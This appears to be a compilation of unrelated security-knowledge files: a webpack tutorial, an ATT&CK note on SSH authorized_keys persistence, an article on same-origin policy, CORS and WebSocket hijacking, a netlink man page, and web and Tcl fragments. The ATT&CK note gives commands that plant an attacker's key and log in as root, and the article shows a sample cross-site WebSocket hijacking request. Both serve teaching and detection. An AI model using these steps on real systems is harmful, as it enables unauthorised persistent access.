extensions:[".js",".json",".jsx",".css"] }, ``` ### 自动调试功能 错误直接指向自己写的代码 放在`webpack.config.js`的Module(模块)内 ``` devtool:"source-map", ``` ### 导入文件 #### 装包 ``` npm install --save-dev file-loader ``` #### 配置webpack.config.js文件 放在`webpack.config.js`的Module(模块)规则(rules)内 ``` { test: /\.(jpe?g|png)$/, use: 'file-loader' }, //对导入图片后缀的配置 ``` 在`output`(出口文件)加一个公共的路径 ``` publicPath:"dist/" ``` #### 检测一下 在`index.js`中导入一张图片 ``` npm run build ``` #### 优化图片的`test` 在`webpack.config.js`中添加`test` ``` { test: /\.(jpe?g|png)$/, use: 'file-loader?name=[name][hash:5].[ext]&outputPath=images/' } //name=[name][hash:5].[ext]:自动添加名称哈希值和后缀 //outputPath:图片文件会自动保存在imgages文件夹下 ``` ### 压缩`JS` #### 在`webpack.config.js`中引用`webpack` ``` const webpack = require('webpack') //path是nodejs核心文件,用来解析路径 //require会把入口文件相关的所有文件都打包 ``` #### 在`webpack.config.js`的`plugins`中添加 ``` plugins: [ new webpack.optimize.UglifyJsPlugin({ compress: { warnings: false, drop_console: false, } }) ] ``` ### 压缩代码 添加在`plugins`中 ``` new webpack.DefinePlugin({ 'process.env.NODE_ENV': '"production"', }) //生产文件会导致source-map失效 ``` ### CSS代码分离 会把CSS单独打包出来 #### 装包 ``` npm install --save-dev extract-text-webpack-plugin ``` #### 在`webpack.config.js`中引用`extract-text-webpack-plugin` ``` const ExtractTextPlugin = require("extract-text-webpack-plugin") ``` #### 在`webpack.config.js`中添加`test` ``` { test: /\.css$/, use: ExtractTextPlugin.extract({ fallback: "style-loader", use: ["css-loader","postcss-loader"] }) } ``` **注意**:把之前写的CSS的`test`删除 #### 在`webpack.config.js`中添加插件(plugins) ``` new ExtractTextPlugin("styles.css"), //添加生产文件 ``` ### HTML代码分离 #### 装包 ``` npm i html-webpack-plugin -D ``` #### 在`webpack.config.js`中引用`html-webpack-plugin` ``` const HtmlWebpackPlugin = require('html-webpack-plugin') ``` #### 在`webpack.config.js`中添加`test` ``` { test: /\.css$/, use: ExtractTextPlugin.extract({ fallback: "style-loader", use: "css-loader" }) } ``` #### 在`webpack.config.js`中添加插件(plugins) ``` new HtmlWebpackPlugin(), //把publicPath删除,因为打包时自动生成路径 ``` #### 给`HtmlWebpackPlugin`增加一个模版文件 ##### 创建`public` -> `index.html` ``` <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Webpack</title> </head> <body> <div id="root"></div> </body> </html> ``` ##### 在`webpack.config.js`中修改插件(plugins)`HtmlWebpackPlugin` ``` new HtmlWebpackPlugin({ template: 'public/index.html', //模版文件地址 filename: 'index.html', //生产的html文件名(默认为index.html) //可以添加其他的配置选项,例如:title,minify,filename }), ``` 所有的配置选项的github地址:[点击进入](https://github.com/jantimon/html-webpack-plugin#configuration) ### 优化 #### 修改`webpack.config.js`名称为`webpack.prod.config.js` #### 修改`package.json`的`npm run`命令 ``` "scripts": { "build": "./node_modules/.bin/webpack --config webpack.prod.config.js", //添加配置文件 "start": "./node_modules/.bin/webpack-dev-server --config webpack.dev.config.js" //添加启动的服务器 }, ``` ### 完成开发环境的配置 #### 装包(实时加载) ``` npm install --save-dev webpack-dev-server ``` #### 创建`webpack.dev.config.js`配置文件 黏贴下面代码(webpack.prod.config.js中代码修改) ``` const path = require('path'); const webpack = require('webpack') const HtmlWebpackPlugin = require('html-webpack-plugin') module.exports = { entry: './src/index.js', output: { path: path.resolve(__dirname, "dist"), filename: "bundle.js", // publicPath:"dist/" }, devtool:"source-map", module: { rules: [ { test: /\.js[x]?$/, exclude: /node_modules/, use: "babel-loader" }, { test: /\.css$/, use: ['style-loader',"css-loader",'postcss-loader'] }, { test: /\.(jpe?g|png)$/, use: 'file-loader' }, ] }, plugins: [ new HtmlWebpackPlugin({ template: 'public/index.html' }), ] } ``` #### 添加配置`webpack.dev.config.js`的模块(module)下 ``` devServer: { port: 3000, //端口修改为3000 hot:true //热加载 }, ``` ##### 热加载还需要配置`webpack.dev.config.js`的插件(Plugins) 添加热加载插件 ``` new webpack.HotModuleReplacementPlugin() ``` ### 自动打开 #### 装包 ``` npm i open-browser-webpack-plugin -D ``` 在`webpack.dev.config.js`中引用`open-browser-webpack-plugin`插件 ``` const OpenBrowserWebpackPlugin = require('open-browser-webpack-plugin') ``` #### 添加`webpack.dev.config.js`的插件(Plugins) ``` new OpenBrowserWebpackPlugin({ //自动打开插件 url:'http://localhost:3000' //自动打开的地址 }), ``` #### 检测是否成功 ``` npm start //npm run start ``` ### 参考 - Webpack官网:[点击进入](https://doc.webpack-china.org/)
sec-knowleage
# T1098-004-linux-账户操纵-SSH Authorized Keys ## 来自ATT&CK的描述 攻击者可能会修改SSH `authorized_keys`文件来维持对目标主机的持久访问。 Linux发行版和macOS通常会对远程管理的SSH会话采用基于密钥的身份验证过程。SSH中的`authorized_keys`文件指定了登录用户账户(该文件就是为此账户而配置)需要用到的SSH密钥。此文件通常位于用户home目录中的`<user-home>/.ssh/authorized_keys`下(引自:SSH Authorized Keys)。用户可能会编辑系统的SSH配置文件,将PubkeyAuthentication 和RSAAuthentication 设置为“yes”来启用公钥和RSA身份验证。SSH配置文件通常位于`/etc/ssh/sshd_config`下。 攻击者可能会直接通过脚本或shell命令修改SSH `authorized_keys`文件,添加他们自己提供的公共密钥。然后,拥有相应私钥的攻击者就可以通过SSH以现有用户身份登录(引自:Venafi SSH Key Abuse)(引自:Cybereason Linux Exim Worm)。 ## 测试案例 ### 通过写入SSH公钥在Linux系统上实现持久化 #### 攻击机生成公钥 首先在Kali攻击机生成公钥和私钥,其中id_rsa.pub为公钥,id_rsa为私钥。 ``` ssh-keygen -t rsa ``` #### 在靶机写入公钥 将kali攻击机中生成的公钥id_rsa.pub内容写入到靶机中 `echo "xxx" >> ~/.ssh/authorized_keys` #### 攻击机实现免密码登录靶机 使用`ssh`命令直接连接靶机 `ssh root@10.255.30.21` ## 检测日志 无 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 ### 建议 使用文件完整性监控来检测系统上每个用户对`authorized_keys`文件所做的更改。监控可疑进程是否修改了`authorized_keys`文件。 监控修改`/etc/ssh/sshd_config`的更改和可疑进程。 ## 相关TIP [[Threathunting-book/5-权限维持/T1098-win-万能密码]] [[Threathunting-book/5-权限维持/T1098-win-账户操作]] [[T1098-win-AdminSDHolder]] ## 参考推荐 MITRE-ATT&CK-T1098-001 <https://attack.mitre.org/techniques/T1098/001/>
sec-knowleage
## 一、 什么是同源策略 ## 同源策略是浏览器上为安全性考虑实施的非常重要的安全策略,理解跨域首先必须要了解同源策略。 何谓同源:URL由协议、域名、端口和路径组成,如果两个URL的协议、域名和端口相同,则表示他们同源。 同源策略: > 浏览器的同源策略,限制了来自不同源的"document"或脚本,对当前"document"读取或设置某些属性。 (白帽子讲web安全) 从一个域上加载的脚本不允许访问或者设置另外一个域的文档属性。 举个例子: 比如一个恶意网站的页面通过iframe嵌入了银行的登录页面(二者不同源),如果没有同源限制,恶意网页上的javascript脚本就可以在用户登录银行的时候获取用户名和密码。 在浏览器中,&lt;img&gt;、&lt;iframe&gt;、&lt;link&gt;、&lt;embed&gt;(flash)、&lt;object&gt;(flash) 等标签都可以加载跨域资源,而不受同源限制,但浏览器限制了JavaScript的权限使其不能读、写加载的内容。另外同源策略只对网页的HTML文档做了限制,对加载的其他站点的静态资源如javascript、css、图片等仍然认为属于同源(注意:在加载其他站点的js/css/图片等资源时也是跨域请求的行为,如果对方站点返回的Access-Control-Allow-Origin 限制了特定的站点,也可能存在浏览器读取响应失败的情况,如下图所示;如果加载成功,那么就认为是属于同源的,js 可以操作页面document)。注意:嵌入外域flash 不算是同域。 ![image](https://user-images.githubusercontent.com/5785346/220488121-40cbf417-1722-4892-a05e-4adf8bba6755.png) 代码示例(http://localhost:8080/ 和 http://localhost:8081 由于端口不同而不同源): http://localhost:8080/test.html ``` html <html> <head><title>test same origin policy</title></head> <body> <iframe id="test" src="http://localhost:8081/test2.html"></iframe> <script type="text/javascript"> document.getElementById("test").contentDocument.body.innerHTML = "write somthing"; </script> </body> </html> ``` http://localhost:8081/test2.html ``` html <html> <head><title>test same origin policy</title></head> <body> Testing. </body> </html> ``` 在Firefox中会得到如下错误:`Error: Permission denied to access property 'body'` Document对象的domain属性存放着装载文档的服务器的主机名,可以设置它。 例如来自"blog.csdn.net"和来自"bbs.csdn.net"的页面,都将document.domain设置为"csdn.net",则来自两个子域名的脚本即可相互访问。出于安全的考虑,不能设置为其他主domain,比如 http://www.csdn.net 不能设置为sina.com。 通过document.cookie 可以获取(设置为httponly属性的不行)或者设置页面cookie,获取或设置的是当前域domain下的。 ### post 表单跳转跨域问题 ``` html <form method="post" action="/B"> <input type="hidden" name="foo" value="bar"> <button type="submit"> </form> ``` 点击Submit 就可以向"/B"POST数据并跳转到B页面,此时并不存在跨域问题。因为原页面用 form 提交到另一个域名之后,原页面的脚本无法获取新页面中的内容,所以浏览器认为这是安全的。 而 AJAX 是可以读取响应内容的,因此浏览器不能允许你这样做。 ## 二、Ajax跨域 ## Ajax (XMLHttpRequest)请求受到同源策略的限制。 Ajax 通过XMLHttpRequest 能够与远程的服务器进行信息交互,另外XMLHttpRequest是一个纯粹的Javascript对象,这样的交互过程,是在后台进行的,用户不易察觉。 举个例子:某网站因为存在漏洞导致XSS注入了javascript脚本,这个脚本就可以通过ajax获取用户信息并通过ajax提交给其他站点,这样就可以源源不断地收集信息。 如果我们又想利用XMLHTTP的无刷新异步交互能力,又不愿意公然突破Javascript的安全策略,可以选择的方案就是给XMLHTTP加上严格的同源限制。这样的安全策略,很类似于Applet的安全策略。IFrame的限制还仅仅是不能访问跨域HTMLDOM中的数据,而XMLHTTP则根本上限制了跨域请求的读取。 实际上 ajax 是可以跨域发起请求,但不可以读取返回的内容,ajax跨域请求不可以主动添加cookie、user-agent、referer、x_forward_for 等 http 头。服务端肯定返回数据了,只是没有返回Access-Control-Allow-Origin header头,被浏览器识别为跨域请求而拦截掉。一般浏览器的报错:`XMLHttpRequest cannot load targetdomain. Origin origindomain is not allowed by Access-Control-Allow-Origin`。 默认情况下 ajax 发起的跨域请求无法带上**目标域的cookie**,这时需要设置 xhr 实例的 withCredentials 属性为 true(IE还不支持),若不希望浏览器报权限错误,目标域需要返回头 `Access-Control-Allow-Credentials: true`。另外,Access-Control-Allow-Origin不能设置为\*,不然cookie不会出现在http的请求头里,且会出现如下报错: ``` Access to XMLHttpRequest at '...' from origin '...' has been blocked by CORS policy: The value of the 'Access-Control-Allow-Origin' header in the response must not be the wildcard '*' when the request's credentials mode is 'include'. The credentials mode of requests initiated by the XMLHttpRequest is controlled by the withCredentials attribute. ``` 主流浏览器中,当在一个页面通过&lt;img&gt;、&lt;iframe&gt;、&lt;script&gt;、&lt;link&gt; 等标签请求第三方站点资源时,都不会拦截 session cookie的发送,针对 persistent cookie,IE6~8, safari 会拦截, 而chrome, firefox, opera 等不会拦截;如果第三方站点返回给浏览器的http 头含有 P3P(Platform for Privacy Preferences Project)头,则在某种程度来说,将允许浏览器发送第三方的 persistent cookie。P3P 该字段用于标识是否允许目标网站的 cookie 被另一个域通过加载目标网站而设置或发送,仅 IE 执行了该策略。 假设 b 站点的 foo.php 代码如下 ``` php <?php //header('P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"'); setcookie("test0", 'local', time()+3600*3650); setcookie("test_mem0", 'memory'); var_dump($_COOKIE); ?> ``` 我们通过 a 站点 &lt;iframe src="http://www.b.com/cookie/foo.php" &gt; &lt;/iframe &gt; 加载 foo.php,通过 fiddle 等代理工具可以看到 foo.php 尝试设置 cookie,由于没有返回 P3P 头,故设置失败。把注释打开,则 session cookie test_mem0 和 persistent cookie test0 都设置成功,此时他们都是具有P3P属性的cookie,这里示例了 设置 cookie 的情况。 假设 header 注释掉,直接访问 foo.php,设置了两个类似的cookie, test_mem1 和 test1,此时这两个cookie 都不具备 P3P 属性,再通过 a 站点 iframe 加载 foo.php 时可以看到 test_mem1 被发送,而 test1 没有被发送出去。也就是说没有 P3P 属性的 persistent cookie 无法在通过 iframe 等方式加载第三方域时被发送出去。 注意:Cookie中的同源只关注域名,忽略协议和端口。所以https://localhost:8080/ 和 http://localhost:8081/ 的Cookie是共享的。 ## 三、浏览器特性和安全策略 ## 1. 同源策略 如前面所述。 2. 沙盒框架(Sandboxed frame) 是对常规&lt;iframe&gt;表现行为的扩展,它能让顶级页面对其嵌入的子页面及这些子页面的子资源设置一些额外的限制, 通过设置&lt;iframe&gt;的参数实现限制。 最原始的一些限制如下图: ![http_3](../pictures/http_3.jpg) 3. Flash安全沙箱 分为本地沙箱与远程沙箱 类似于同源策略,在同一域内的资源会被放到一个安全组下,称为安全沙箱 Web站点通过crossdomain.xml文件配置可以提供允许的域跨域访问本域上内容的权限(放置于站点根目录) 4. Cookie 的安全策略 如 [http协议](./HTTP协议.md) 所述 5. 内容安全策略(Content Security Policy,CSP) 通过编码在HTTP响应头中的指令来实施策略 http 响应的扩展头部都以 X- 打头,用于区分标准的头部字段,比如 X-Frame-Options 用于防御 ClickJacking X-XSS-Protection 用于是否开启xss filter X-Content-Security-Policy(即CSP 策略),例如 `X-Content-Security-Policy : default-src 'unsafe-inline' 'self'` 即不允许任何外部的资源加载,且允许内嵌脚本执行。 ## 四、WebSocket 协议 WebSocket 作为 HTML5 的新特性之一格外吸引着开发人员的注意,因为它的出现使得客户端(主要指浏览器)提供对 Socket 的支持成为可能,从而在客户端和服务器之间提供了一个基于单 TCP 连接的双向通道。该技术被广泛应用到了实时性要求比较高的各类应用,譬如在线证券、在线游戏,以及不同设备之间信息同步。 不幸的是,WebSocket 相关的安全漏洞也逐步被披露出来,其中最容易发生的就是跨站点 WebSocket 劫持漏洞。 譬如,某个用户已经登录了应用程序,如果他被诱骗访问某个社交网站的恶意网页,恶意网页在某元素中植入一个 WebSocket 握手请求申请跟目标应用建立 WebSocket 连接。一旦打开该恶意网页,则自动发起如下请求。请注意,Origin 和 Sec-WebSocket-Key 都是由浏览器自动生成,Cookie 等身份认证参数也都是由浏览器自动上传到目标应用服务器端。如果服务器端疏于检查 Origin,该请求则会成功握手切换到 WebSocket 协议,恶意网页就可以成功绕过身份认证连接到 WebSocket 服务器,进而窃取到服务器端发来的信息,抑或发送伪造信息到服务器端篡改服务器端数据。 ``` GET ws://echo.websocket.org/?encoding=text HTTP/1.1 Host: echo.websocket.org Connection: Upgrade Pragma: no-cache Cache-Control: no-cache Upgrade: websocket Origin: http://www.malicious website.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6 Cookie: _gat=1; _ga=GA1.2.290430972.14547651; JSESSIONID=1A9431CF043F851E0356F5837845B2EC Sec-WebSocket-Key: 7ARps0AjsHN8bx5dCI1KKQ== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits ``` 读到这里,熟悉 JavaScript 跨域资源访问的读者可能会怀疑以上观点。如果 HTTP Response 没有指定“Access-Control-Allow-Origin”的话,浏览器端的脚本是无法访问跨域资源的啊,是的这就是众所周知的跨域资源共享 Cross-Origin Resource Sharing(CORS),这确实也是 HTML5 带来的新特性之一。但是很不幸,跨域资源共享不适应于 WebSocket,WebSocket 没有明确规定跨域处理的方法。 ### 如何检测跨站点 WebSocket 劫持漏洞 明白跨站点 WebSocket 劫持漏洞原理后,大家就很容易联想到这个漏洞的检测方法了,重点就在于重播 WebSocket 协议升级请求。简单来说就是使用能拦截到 WebSocket 握手请求的工具,修改请求中的 Origin 头信息,然后重新发送这个请求,看看服务器是否能够成功返回 101 响应。如果连接失败,那么说明这个 WebSocket 是安全的,因为它可以正确拒绝来自不同源(Origin)的连接请求。如果连接成功,通常就已经证明服务器端没有执行源检查,为了严谨起见,最好进一步测试是否可以发送 WebSocket 消息,如果这个 WebSocket 连接能够发送/接受消息的话,则完全证明跨站点 WebSocket 劫持漏洞的存在。 除了在服务端校验 Origin 之外,最好使用csrf 一样的防御机制token,因为如果 WebSocket 的客户端不是浏览器,非浏览器的客户端发来的请求根本就没有 Origin。 ## Reference ## [同源策略和跨域访问](http://blog.csdn.net/qgw_2000/article/details/8882051)
sec-knowleage
.\" t .\" Don't change the first line, it tells man that tbl is needed. .\" This man page copyright 1998 by Andi Kleen. Subject to the GPL. .\" This manpage copyright 1998 by Andi Kleen. Subject to the GPL. .\" Based on the original comments from Alexey Kuznetsov .\" 中文版 Copyright (c) 2000 LetBright,BitBIRD 和 www.linuxforum.net .TH NETLINK 7 "27 Apr 1999" "Linux Man Page" "Linux Programmer's Manual" .SH NAME 名称 netlink, PF_NETLINK \- 内核与用户之间的通讯 .SH SYNOPSIS 总揽 .nf .\" XXX .B #include <asm/types.h> .br .B #include <sys/socket.h> .br .B #include <linux/netlink.h> .br .PP .BI "netlink_socket = socket(PF_NETLINK, " socket_type ", " netlink_family ); .SH DESCRIPTION 描述 Netlink 用于在内核模块与在用户地址空间中的进程之间传递消息的。它包 含了用于用户进程的基于标准套接字的接口和用于内核模块的一个内部核心 API。有关这个内部核心接口的资料没有包含在此手册页中。同样还有 一个过时的通过 netlink 字符设备的接口也没有包含在此,它只是提供 向下兼容特性。 Netlink 是一个面向数据包的服务。 .B SOCK_RAW 和 .B SOCK_DGRAM 都是 .IR socket_type 的有效值。然而 netlink 协议对数据包 datagram 和原套接字(raw sockets) 并不作区分。 .I netlink_family 选择核心模块或 netlink 组进行通讯。现有可指定的 netlink 的种类有: .TP .B NETLINK_ROUTE 接收路由更新信息,可以用来修改 IPv4 的路由表。(参见 .BR rtnetlink (7))。 .TP .B NETLINK_FIREWALL 接收 IPv4 防火墙编码发送的数据包。 .TP .B NETLINK_ARPD 用以维护用户地址空间里的 arp 表 .TP .B NETLINK_ROUTE6 接收和发送 IPv6 路由表更新消息。 .TP .B NETLINK_IP6_FW 接收未通过 IPv6 防火墙检查的数据包(尚未实现) .TP .BR NETLINK_TAPBASE ... NETLINK_TAPBASE+15 是 .B ethertap 设备实例。Ethertap 是从用户程序空间对以太网驱动程序进行 仿真的“伪”网络通道设备。 .TP .B NETLINK_SKIP Enskip 的保留选项。 .TP .B NETLINK_USERSOCK 为今后用户程序空间协议用保留选项。 .PP Netlink 数据信息由具有一个或多个 .B nlmsghdr 数据报头及其有效数据的字节流组成。对于分成多个数据包的 Netlink 信息, 数据报头中的 .B NLM_F_MULTI 标志位将被设置,除了最后一个包的报头具有标志 .BR NLMSG_DONE 外。 字节流应只能用标准的 .B NLMSG_* 宏来访问,参阅 .BR netlink (3). Netlink 不是可靠的协议。它只是尽可能地将信息传输到目的地,但在内存耗 尽或发生其他错误时,它会丢失信息。为保证信息可靠传输,可以设置标志 .B NLM_F_ACK 来要求接收方确认。数据接收确认是一个 .B NLMSG_ERROR 数据包,包中的出错字段设置为 0。应用程序必须自己创建收到信息确认消息。 在信息传送过程中,内核一直(尝试)对每个出错的数据包发送 .B NLMSG_ERROR 消息。用户进程也应当遵循这一个惯例。 每一个 netlink 数据类都有一个32位广播分组,当 对套接字调用 .BR bind (2) 时, .B sockaddr_nl 中的 .B nl_groups 字段设置成所要侦听的广播组的位掩码。其默认值为 0,表示不接收任何广播。 一个套接字可以对任意一个多址广播组广播消息,只要在调用 .BR sendmsg (2) 或调用 .BR connect (2) 时,将位掩码 .B nl_groups 设置成要发送消息的广播组的值就可以了。 只有具有有效 uid 为 0 的用户或具有 .B CAP_NET_ADMIN 权限的用户才可能发送或侦听针对 netlink 多址广播组的消息。 任何一个对多址广播组消息的响应需发回进程标识 pid 和广播组地址。 .RS .nf .ta 4 13 25 struct nlmsghdr { __u32 nlmsg_len; /* 包括报头在内的消息长度*/ __u16 nlmsg_type; /* 消息正文 */ __u16 nlmsg_flags; /* 附加标志*/ __u32 nlmsg_seq; /* 序列号*/ __u32 nlmsg_pid; /* 发送进程号 PID */ }; struct nlmsgerr { int error; /* 负数表示的出错号 errno 或为 0 要求确认 acks*/ struct nlmsghdr msg; /* 造成出错的消息报头*/ }; .ta .fi .RE 在每个 .B nlmsghdr 后跟随着有效数据。 .B nlmsg_type 可以成为标准消息的类型: .B NLMSG_NOOP 可以忽略的消息, .B NLMSG_ERROR 发出错误发生的消息,有关数据中包含一个 .I nlmsgerr 结构, .B NLMSG_DONE 一个多数据包消息结束的信息。 .\" 2.1.130 好象不再使用它。 .\" .B NLMSG_OVERRUN .\" 数据丢弃. 一个 netlink 类通常指定更多的消息类型,请参阅有关手册页,如 .IR NETLINK_ROUTE . 中的 .BR rtnetlink (7) .TS tab(:); l s l l. nlmsg_flags 的标准标志位 NLM_F_REQUEST: 设置全部请求消息 NLM_F_MULTI:T{ 此消息是多数据包消息之一,通过标志 .B NLMSG_DONE 结束。 .\" XXX describe that T} NLM_F_ACK: 数据成功接收返回确认消息 NLM_F_ECHO: 要求响应请求信息 .TE .TS tab(:); l s l l. 为 GET 请求设立的附加标志位 NLM_F_ROOT: 返回对象表而不是单个数据项 NLM_F_MATCH: 尚未实现 NLM_F_ATOMIC: 返回对象表的原子快照(atomic snapshot) NLM_F_DUMP: 尚未列入文档 .TE .TS tab(:); l s l l. 对新建 NEW 请求设立的附加标志位 NLM_F_REPLACE: 替换现有的对象 NLM_F_EXCL: 如对象已存在,不作替换 NLM_F_CREATE: 创建对象,如果对象不存在 NLM_F_APPEND: 对象表添加对象项 .TE 注 NLM_F_ATOMIC 要求用户有 CAP_NET_ADMIN 或超级用户权。 .SH 地址格式 .B sockaddr_nl 描述了在用户空间或在核心空间里一个 netlink 客户对象的数据结构。 一个 sockaddr_nl 对象可以是单址广播或对一个 netlink 多址组 (nl_groups 不为 0). .RS .nf struct sockaddr_nl { sa_family_t nl_family; /* AF_NETLINK */ unsigned short nl_pad; /* 零 */ pid_t nl_pid; /* 进程标识号pid */ __u32 nl_groups; /* 多址广播组掩码*/ }; .fi .RE .B nl_pid 是用户空间中 netlink 的进程标识号 pid,如果是在内核时此值为 0。 .B nl_groups 是一个代表 neltlink 组号的位掩码。 .\" XXX describe what that is. .SH BUGS 本手册页并不完整。 .SH NOTES 注意 通过 .B libnetlink 调用 netlink 功能通常比通过低层内核接口要来得好些。 .SH VERSIONS 版本 netlink 套接字接口是 Linux 2.2 新特性 Linux 2.0 支持更多的基于netlink接口的原始设备(作为向下兼容特性, 这些设备目前仍可使用。旧接口特性没有在此叙述。 .SH 另见 .BR cmsg (3), .BR rtnetlink (7), .BR netlink (3). .PP .BR ftp://ftp.inr.ac.ru/ip-routing/iproute2* 有关 libnetlink 部分 .SH "[中文版维护人]" .B LetBright <letbright@netease.com> .SH "[中文版最新更新]" .B 2000/11/09 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
<!DOCTYPE html> <html> <head> <title>Hello WebSocket</title> <link href="/webjars/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="/main.css" rel="stylesheet"> <script src="/webjars/jquery/jquery.min.js"></script> <script src="/webjars/sockjs-client/sockjs.min.js"></script> <script src="/webjars/stomp-websocket/stomp.min.js"></script> <script src="/app.js"></script> </head> <body> <noscript><h2 style="color: #ff0000">Seems your browser doesn't support Javascript! Websocket relies on Javascript being enabled. Please enable Javascript and reload this page!</h2></noscript> <div id="main-content" class="container"> <div class="row"> <div class="col-md-6"> <form class="form-inline"> <div class="form-group"> <label for="connect">WebSocket connection:</label> <button id="connect" class="btn btn-default" type="submit">Connect</button> <button id="disconnect" class="btn btn-default" type="submit" disabled="disabled">Disconnect </button> </div> </form> </div> <div class="col-md-6"> <form class="form-inline"> <div class="form-group"> <label for="name">What is your name?</label> <input type="text" id="name" class="form-control" placeholder="Your name here..."> </div> <button id="send" class="btn btn-default" type="submit">Send</button> </form> </div> </div> <div class="row"> <div class="col-md-12"> <table id="conversation" class="table table-striped"> <thead> <tr> <th>Greetings</th> </tr> </thead> <tbody id="greetings"> </tbody> </table> </div> </div> </div> </body> </html>
sec-knowleage
'\" '\" Copyright (c) 1995-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: load.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: load.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH load 3tcl 7.5 